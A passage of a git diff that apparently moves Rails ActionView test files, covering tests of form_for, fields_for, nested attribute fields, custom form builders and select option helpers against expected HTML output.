+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_arel_like
+    @post.comments = ArelLike.new
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments, @post.comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_label_translation_with_more_than_10_records
+    @post.comments = Array.new(11) { |id| Comment.new(id + 1) }
+
+    I18n.expects(:t).with('post.comments.body', default: [:"comment.body", ''], scope: "helpers.label").times(11).returns "Write body here"
+
+    form_for(@post) do |f|
+      f.fields_for(:comments) do |cf|
+        concat cf.label(:body)
+      end
+    end
+  end
+
+  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection_different_from_record_one
+    comments = Array.new(2) { |id| Comment.new(id + 1) }
+    @post.comments = []
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments, comments) { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #1" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="comment #2" />' +
+      '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_on_a_nested_attributes_collection_association_yields_only_builder
+    @post.comments = [Comment.new(321), Comment.new]
+    yielded_comments = []
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.fields_for(:comments) { |cf|
+        concat cf.text_field(:name)
+        yielded_comments << cf.object
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+      '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" type="text" value="new comment" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+    assert_equal yielded_comments, @post.comments
+  end
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class FakeAssociationProxy
+    def to_ary
+      [1, 2, 3]
+    end
+  end
+
+  def test_nested_fields_for_with_child_index_option_override_on_a_nested_attributes_collection_association_with_proxy
+    @post.comments = FakeAssociationProxy.new
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+        concat cf.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input id="post_comments_attributes_abc_name" name="post[comments_attributes][abc][name]" type="text" value="comment #321" />' +
+      '<input id="post_comments_attributes_abc_id" name="post[comments_attributes][abc][id]" type="hidden" value="321" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_index_method_with_existing_records_on_a_nested_attributes_collection_association
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) { |cf|
+          assert_equal cf.index, expected
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_existing_and_new_records_on_a_nested_attributes_collection_association
+    @post.comments = [Comment.new(321), Comment.new]
+
+    form_for(@post) do |f|
+      expected = 0
+      @post.comments.each do |comment|
+        f.fields_for(:comments, comment) { |cf|
+          assert_equal cf.index, expected
+          expected += 1
+        }
+      end
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_existing_records_on_a_supplied_nested_attributes_collection
+    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
+
+    form_for(@post) do |f|
+      expected = 0
+      f.fields_for(:comments, @post.comments) { |cf|
+        assert_equal cf.index, expected
+        expected += 1
+      }
+    end
+  end
+
+  def test_nested_fields_for_index_method_with_child_index_option_override_on_a_nested_attributes_collection_association
+    @post.comments = []
+
+    form_for(@post) do |f|
+      f.fields_for(:comments, Comment.new(321), child_index: 'abc') { |cf|
+        assert_equal cf.index, 'abc'
+      }
+    end
+  end
+
+  def test_nested_fields_uses_unique_indices_for_different_collection_associations
+    @post.comments = [Comment.new(321)]
+    @post.tags = [Tag.new(123), Tag.new(456)]
+    @post.comments[0].relevances = []
+    @post.tags[0].relevances = []
+    @post.tags[1].relevances = []
+
+    form_for(@post) do |f|
+      concat f.fields_for(:comments, @post.comments[0]) { |cf|
+        concat cf.text_field(:name)
+        concat cf.fields_for(:relevances, CommentRelevance.new(314)) { |crf|
+          concat crf.text_field(:value)
+        }
+      }
+      concat f.fields_for(:tags, @post.tags[0]) { |tf|
+        concat tf.text_field(:value)
+        concat tf.fields_for(:relevances, TagRelevance.new(3141)) { |trf|
+          concat trf.text_field(:value)
+        }
+      }
+      concat f.fields_for('tags', @post.tags[1]) { |tf|
+        concat tf.text_field(:value)
+        concat tf.fields_for(:relevances, TagRelevance.new(31415)) { |trf|
+          concat trf.text_field(:value)
+        }
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" type="text" value="comment #321" />' +
+      '<input id="post_comments_attributes_0_relevances_attributes_0_value" name="post[comments_attributes][0][relevances_attributes][0][value]" type="text" value="commentrelevance #314" />' +
+      '<input id="post_comments_attributes_0_relevances_attributes_0_id" name="post[comments_attributes][0][relevances_attributes][0][id]" type="hidden" value="314" />' +
+      '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
+      '<input id="post_tags_attributes_0_value" name="post[tags_attributes][0][value]" type="text" value="tag #123" />' +
+      '<input id="post_tags_attributes_0_relevances_attributes_0_value" name="post[tags_attributes][0][relevances_attributes][0][value]" type="text" value="tagrelevance #3141" />' +
+      '<input id="post_tags_attributes_0_relevances_attributes_0_id" name="post[tags_attributes][0][relevances_attributes][0][id]" type="hidden" value="3141" />' +
+      '<input id="post_tags_attributes_0_id" name="post[tags_attributes][0][id]" type="hidden" value="123" />' +
+      '<input id="post_tags_attributes_1_value" name="post[tags_attributes][1][value]" type="text" value="tag #456" />' +
+      '<input id="post_tags_attributes_1_relevances_attributes_0_value" name="post[tags_attributes][1][relevances_attributes][0][value]" type="text" value="tagrelevance #31415" />' +
+      '<input id="post_tags_attributes_1_relevances_attributes_0_id" name="post[tags_attributes][1][relevances_attributes][0][id]" type="hidden" value="31415" />' +
+      '<input id="post_tags_attributes_1_id" name="post[tags_attributes][1][id]" type="hidden" value="456" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_nested_fields_for_with_hash_like_model
+    @author = HashBackedAuthor.new
+
+    form_for(@post) do |f|
+      concat f.fields_for(:author, @author) { |af|
+        concat af.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="hash backed author" />'
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for
+    output_buffer = fields_for(:post, @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_index
+    output_buffer = fields_for("post[]", @post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
+      "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[123][secret]' type='hidden' value='0' />" +
+      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_nil_index_option_override
+    output_buffer = fields_for("post[]", @post, index: nil) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
+      "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[][secret]' type='hidden' value='0' />" +
+      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_index_option_override
+    output_buffer = fields_for("post[]", @post, index: "abc") do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[abc][title]' type='text' id='post_abc_title' value='Hello World' />" +
+      "<textarea name='post[abc][body]' id='post_abc_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[abc][secret]' type='hidden' value='0' />" +
+      "<input name='post[abc][secret]' checked='checked' type='checkbox' id='post_abc_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_without_object
+    output_buffer = fields_for(:post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_with_only_object
+    output_buffer = fields_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[secret]' type='hidden' value='0' />" +
+      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_fields_for_object_with_bracketed_name
+    output_buffer = fields_for("author[post]", @post) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_title\">Title</label>" +
+    "<input name='author[post][title]' type='text' id='author_post_title' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_fields_for_object_with_bracketed_name_and_index
+    output_buffer = fields_for("author[post]", @post, index: 1) do |f|
+      concat f.label(:title)
+      concat f.text_field(:title)
+    end
+
+    assert_dom_equal "<label for=\"author_post_1_title\">Title</label>" +
+      "<input name='author[post][1][title]' type='text' id='author_post_1_title' value='Hello World' />",
+      output_buffer
+  end
+
+  def test_form_builder_does_not_have_form_for_method
+    assert !ActionView::Helpers::FormBuilder.instance_methods.include?(:form_for)
+  end
+
+  def test_form_for_and_fields_for
+    form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      concat fields_for(:parent_post, @post) { |parent_fields|
+        concat parent_fields.check_box(:secret)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='parent_post[secret]' type='hidden' value='0' />" +
+      "<input name='parent_post[secret]' checked='checked' type='checkbox' id='parent_post_secret' value='1' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_and_fields_for_with_object
+    form_for(@post, as: :post, html: { id: 'create-post' }) do |post_form|
+      concat post_form.text_field(:title)
+      concat post_form.text_area(:body)
+
+      concat post_form.fields_for(@comment) { |comment_fields|
+        concat comment_fields.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'create-post', 'edit_post', method: 'patch') do
+      "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
+      "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
+      "<input name='post[comment][name]' type='text' id='post_comment_name' value='new comment' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_and_fields_for_with_non_nested_association_and_without_object
+    form_for(@post) do |f|
+      concat f.fields_for(:category) { |c|
+        concat c.text_field(:name)
+      }
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<input name='post[category][name]' type='text' id='post_category_name' />"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  class LabelledFormBuilder < ActionView::Helpers::FormBuilder
+    (field_helpers - %w(hidden_field)).each do |selector|
+      class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
+        def #{selector}(field, *args, &proc)
+          ("<label for='\#{field}'>\#{field.to_s.humanize}:</label> " + super + "<br/>").html_safe
+        end
+      RUBY_EVAL
+    end
+  end
+
+  def test_form_for_with_labelled_builder
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, LabelledFormBuilder
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_lazy_loading_default_form_builder
+    old_default_form_builder, ActionView::Base.default_form_builder =
+      ActionView::Base.default_form_builder, "FormHelperTest::LabelledFormBuilder"
+
+    form_for(@post) do |f|
+      concat f.text_field(:title)
+    end
+
+    expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', method: 'patch') do
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    ActionView::Base.default_form_builder = old_default_form_builder
+  end
+
+  def test_fields_for_with_labelled_builder
+    output_buffer = fields_for(:post, @post, builder: LabelledFormBuilder) do |f|
+      concat f.text_field(:title)
+      concat f.text_area(:body)
+      concat f.check_box(:secret)
+    end
+
+    expected =
+      "<label for='title'>Title:</label> <input name='post[title]' type='text' id='post_title' value='Hello World' /><br/>" +
+      "<label for='body'>Body:</label> <textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea><br/>" +
+      "<label for='secret'>Secret:</label> <input name='post[secret]' type='hidden' value='0' /><input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' /><br/>"
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_without_options_hash
+    klass = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new) do |nested_fields|
+        klass = nested_fields.class
+        ''
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_with_options_hash
+    klass = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new, index: 'foo') do |nested_fields|
+        klass = nested_fields.class
+        ''
+      end
+    end
+
+    assert_equal LabelledFormBuilder, klass
+  end
+
+  def test_form_for_with_labelled_builder_path
+    path = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      path = f.to_partial_path
+      ''
+    end
+
+    assert_equal 'labelled_form', path
+  end
+
+  class LabelledFormBuilderSubclass < LabelledFormBuilder; end
+
+  def test_form_for_with_labelled_builder_with_nested_fields_for_with_custom_builder
+    klass = nil
+
+    form_for(@post, builder: LabelledFormBuilder) do |f|
+      f.fields_for(:comments, Comment.new, builder: LabelledFormBuilderSubclass) do |nested_fields|
+        klass = nested_fields.class
+        ''
+      end
+    end
+
+    assert_equal LabelledFormBuilderSubclass, klass
+  end
+
+  def test_form_for_with_html_options_adds_options_to_form_tag
+    form_for(@post, html: { id: 'some_form', class: 'some_class', multipart: true }) do |f| end
+    expected = whole_form("/posts/123", "some_form", "some_class", method: "patch", multipart: "multipart/form-data")
+
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_string_url_option
+    form_for(@post, url: 'http://www.otherdomain.com') do |f| end
+
+    assert_equal whole_form("http://www.otherdomain.com", "edit_post_123", "edit_post", method: "patch"), output_buffer
+  end
+
+  def test_form_for_with_hash_url_option
+    form_for(@post, url: { controller: 'controller', action: 'action' }) do |f| end
+
+    assert_equal 'controller', @url_for_options[:controller]
+    assert_equal 'action', @url_for_options[:action]
+  end
+
+  def test_form_for_with_record_url_option
+    form_for(@post, url: @post) do |f| end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object
+    form_for(@post) do |f| end
+
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object
+    post = Post.new
+    post.persisted = false
+    def post.to_key; nil; end
+
+    form_for(post) do |f| end
+
+    expected = whole_form("/posts", "new_post", "new_post")
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_in_list
+    @comment.save
+    form_for([@post, @comment]) {}
+
+    expected = whole_form(post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object_in_list
+    form_for([@post, @comment]) {}
+
+    expected = whole_form(post_comments_path(@post), "new_comment", "new_comment")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_and_namespace_in_list
+    @comment.save
+    form_for([:admin, @post, @comment]) {}
+
+    expected = whole_form(admin_post_comment_path(@post, @comment), "edit_comment_1", "edit_comment", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_new_object_and_namespace_in_list
+    form_for([:admin, @post, @comment]) {}
+
+    expected = whole_form(admin_post_comments_path(@post), "new_comment", "new_comment")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_existing_object_and_custom_url
+    form_for(@post, url: "/super_posts") do |f| end
+
+    expected = whole_form("/super_posts", "edit_post_123", "edit_post", method: "patch")
+    assert_equal expected, output_buffer
+  end
+
+  def test_form_for_with_default_method_as_patch
+    form_for(@post) {}
+    expected = whole_form("/posts/123", "edit_post_123", "edit_post", method: "patch")
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_form_for_with_data_attributes
+    form_for(@post, data: { behavior: "stuff" }, remote: true) {}
+    assert_match %r|data-behavior="stuff"|, output_buffer
+    assert_match %r|data-remote="true"|, output_buffer
+  end
+
+  def test_fields_for_returns_block_result
+    output = fields_for(Post.new) { |f| "fields" }
+    assert_equal "fields", output
+  end
+
+  def test_form_for_only_instantiates_builder_once
+    initialization_count = 0
+    builder_class = Class.new(ActionView::Helpers::FormBuilder) do
+      define_method :initialize do |*args|
+        super(*args)
+        initialization_count += 1
+      end
+    end
+
+    form_for(@post, builder: builder_class) { }
+    assert_equal 1, initialization_count, 'form builder instantiated more than once'
+  end
+
+  protected
+
+  def hidden_fields(method = nil)
+    txt =  %{<div style="display:none">}
+    txt << %{<input name="utf8" type="hidden" value="&#x2713;" />}
+    if method && !%w(get post).include?(method.to_s)
+      txt << %{<input name="_method" type="hidden" value="#{method}" />}
+    end
+    txt << %{</div>}
+  end
+
+  def form_text(action = "/", id = nil, html_class = nil, remote = nil, multipart = nil, method = nil)
+    txt =  %{<form accept-charset="UTF-8" action="#{action}"}
+    txt << %{ enctype="multipart/form-data"} if multipart
+    txt << %{ data-remote="true"} if remote
+    txt << %{ class="#{html_class}"} if html_class
+    txt << %{ id="#{id}"} if id
+    method = method.to_s == "get" ? "get" : "post"
+    txt << %{ method="#{method}">}
+  end
+
+  def whole_form(action = "/", id = nil, html_class = nil, options = {})
+    contents = block_given? ? yield : ""
+
+    method, remote, multipart = options.values_at(:method, :remote, :multipart)
+
+    form_text(action, id, html_class, remote, multipart, method) + hidden_fields(method) + contents + "</form>"
+  end
+
+  def protect_against_forgery?
+    false
+  end
+end
diff --git a/actionpack/test/template/form_options_helper_i18n_test.rb b/actionview/test/template/form_options_helper_i18n_test.rb
similarity index 100%
rename from actionpack/test/template/form_options_helper_i18n_test.rb
rename to actionview/test/template/form_options_helper_i18n_test.rb
diff --git a/actionview/test/template/form_options_helper_test.rb b/actionview/test/template/form_options_helper_test.rb
new file mode 100644
index 0000000..fbafb7a
--- /dev/null
+++ b/actionview/test/template/form_options_helper_test.rb
@@ -0,0 +1,1345 @@
+require 'abstract_unit'
+
+class Map < Hash
+  def category
+    "<mus>"
+  end
+end
+
+class FormOptionsHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::FormOptionsHelper
+
+  silence_warnings do
+    Post        = Struct.new('Post', :title, :author_name, :body, :secret, :written_on, :category, :origin, :allow_comments)
+    Continent   = Struct.new('Continent', :continent_name, :countries)
+    Country     = Struct.new('Country', :country_id, :country_name)
+    Firm        = Struct.new('Firm', :time_zone)
+    Album       = Struct.new('Album', :id, :title, :genre)
+  end
+
+  def setup
+    @fake_timezones = %w(A B C D E).map do |id|
+      tz = stub(:name => id, :to_s => id)
+      ActiveSupport::TimeZone.stubs(:[]).with(id).returns(tz)
+      tz
+    end
+    ActiveSupport::TimeZone.stubs(:all).returns(@fake_timezones)
+  end
+
+  def test_collection_options
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title")
+    )
+  end
+
+
+  def test_collection_options_with_preselected_value
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", "Babe")
+    )
+  end
+
+  def test_collection_options_with_preselected_value_array
+      assert_dom_equal(
+        "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+        options_from_collection_for_select(dummy_posts, "author_name", "title", [ "Babe", "Cabe" ])
+      )
+  end
+
+  def test_collection_options_with_proc_for_selected
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" selected=\"selected\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", lambda{|p| p.author_name == 'Babe' })
+    )
+  end
+
+  def test_collection_options_with_disabled_value
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => "Babe")
+    )
+  end
+
+  def test_collection_options_with_disabled_array
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => [ "Babe", "Cabe" ])
+    )
+  end
+
+  def test_collection_options_with_preselected_and_disabled_value
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" selected=\"selected\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :selected => "Cabe", :disabled => "Babe")
+    )
+  end
+
+  def test_collection_options_with_proc_for_disabled
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\" disabled=\"disabled\">Babe went home</option>\n<option value=\"Cabe\" disabled=\"disabled\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", "title", :disabled => lambda {|p| %w(Babe Cabe).include?(p.author_name)})
+    )
+  end
+
+  def test_collection_options_with_proc_for_value_method
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, lambda { |p| p.author_name }, "title")
+    )
+  end
+
+  def test_collection_options_with_proc_for_text_method
+    assert_dom_equal(
+      "<option value=\"<Abe>\"><Abe> went home</option>\n<option value=\"Babe\">Babe went home</option>\n<option value=\"Cabe\">Cabe went home</option>",
+      options_from_collection_for_select(dummy_posts, "author_name", lambda { |p| p.title })
+    )
+  end
+
+  def test_collection_options_with_element_attributes
+    assert_dom_equal(
+      "<option value=\"USA\" class=\"bold\">USA</option>",
+      options_from_collection_for_select([[ "USA", "USA", { :class => 'bold' } ]], :first, :second)
+    )
+  end
+
+  def test_string_options_for_select
+    options = "<option value=\"Denmark\">Denmark</option><option value=\"USA\">USA</option><option value=\"Sweden\">Sweden</option>"
+    assert_dom_equal(
+      options,
+      options_for_select(options)
+    )
+  end
+
+  def test_array_options_for_select
+    assert_dom_equal(
+      "<option value=\"<Denmark>\"><Denmark></option>\n<option value=\"USA\">USA</option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "<Denmark>", "USA", "Sweden" ])
+    )
+  end
+
+  def test_array_options_for_select_with_custom_defined_selected
+    assert_dom_equal(
+      "<option selected=\"selected\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+      options_for_select([
+        ['Richard Bandler', 1, { type: 'Coach', selected: 'selected' }],
+        ['Richard Bandler', 1, { type: 'Coachee' }]
+      ])
+    )
+  end
+
+  def test_array_options_for_select_with_custom_defined_disabled
+    assert_dom_equal(
+      "<option disabled=\"disabled\" type=\"Coach\" value=\"1\">Richard Bandler</option>\n<option type=\"Coachee\" value=\"1\">Richard Bandler</option>",
+      options_for_select([
+        ['Richard Bandler', 1, { type: 'Coach', disabled: 'disabled' }],
+        ['Richard Bandler', 1, { type: 'Coachee' }]
+      ])
+    )
+  end
+
+  def test_array_options_for_select_with_selection
+    assert_dom_equal(
+      "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" selected=\"selected\"><USA></option>\n<option value=\"Sweden\">Sweden</option>",
+      options_for_select([ "Denmark", "<USA>", "Sweden" ], "<USA>")
+    )
+  end
+
+  def test_array_options_for_select_with_selection_array
+      assert_dom_equal(
+        "<option value=\"Denmark\">Denmark</option>\n<option value=\"<USA>\" selected=\"selected\"><USA></option>\n<option value=\"Sweden\" selected=\"selected\">Sweden</option>",
